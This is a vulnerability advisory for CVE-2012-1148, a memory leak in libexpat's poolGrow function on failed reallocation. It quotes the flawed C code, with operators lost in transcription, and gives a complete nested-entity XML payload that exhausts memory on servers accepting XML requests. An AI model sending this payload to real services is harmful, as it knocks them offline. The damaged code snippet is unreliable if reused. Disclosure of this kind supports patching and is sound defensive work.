CVE-2012-1148: Medium severity Libexpat Project Libexpat vulnerability

Memory leak in the poolGrow function in expat/lib/xmlparse.c in expat before 2.1.0 allows context-dependent attackers to cause a denial of service (memory consumption) via a large number of crafted XML files that cause improperly-handled reallocation failures when expanding entities.

— Launchpad

Tim Boddy reported a memory leak in poolGrow [1]

This bug applies at least to 1.95.8, 2.0.0 and 2.0.1

poolGrow in xml.parse.cpp has the following block of code: if (pool->blocks && pool->start == pool->blocks->s) { int blockSize = (int)(pool->end - pool->start)2; pool->blocks = (BLOCK ) pool->mem->reallocfcn(pool->blocks, (offsetof(BLOCK, s) + blockSize sizeof(XMLChar))); if (pool->blocks == NULL) return XMLFALSE; pool->blocks->size = blockSize; pool->ptr = pool->blocks->s + (pool->ptr - pool->start); pool->start = pool->blocks->s; pool->end = pool->start + blockSize; } It looks like this will cause a memory leak if reallocfcn returns NULL because pool->blocks will be overwritten but the old memory area to which it pointed won't be freed. The other places where reallocation is done in this file (via the REALLOC macro) don't have this bug because they correctly store the result in a temporary variable. This bug allows a serious DOS attack on a server that accepts XML-based requests if a request is seen of the following form:

<!DOCTYPE foo [ <!ENTITY a "1234567890" > <!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;" > <!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;" > <!ENTITY d "&c;&c;&c;&c;&c;&c;&c;&c;" > <!ENTITY e "&d;&d;&d;&d;&d;&d;&d;&d;" > <!ENTITY f "&e;&e;&e;&e;&e;&e;&e;&e;" > <!ENTITY g "&f;&f;&f;&f;&f;&f;&f;&f;" > <!ENTITY h "&g;&g;&g;&g;&g;&g;&g;&g;" > <!ENTITY i "&h;&h;&h;&h;&h;&h;&h;&h;" > <!ENTITY j "&i;&i;&i;&i;&i;&i;&i;&i;" > <!ENTITY k "&j;&j;&j;&j;&j;&j;&j;&j;" > <!ENTITY l "&k;&k;&k;&k;&k;&k;&k;&k;" > <!ENTITY m "&l;&l;&l;&l;&l;&l;&l;&l;" > <!ENTITY n "&m;&m;&m;&m;&m;&m;&m;&m;" > ]> <foo bar="&n;"/>

When the attribute is expanded, the realloc (assuming that it bounds the size of the request) will fail, leaking the buffer from before the realloc.

[1] http://mail.python.org/pipermail/expat-bugs/2010-February/002870.html http://sourceforge.net/tracker/?func=detail&atid=110127&aid=2958794&groupid=10127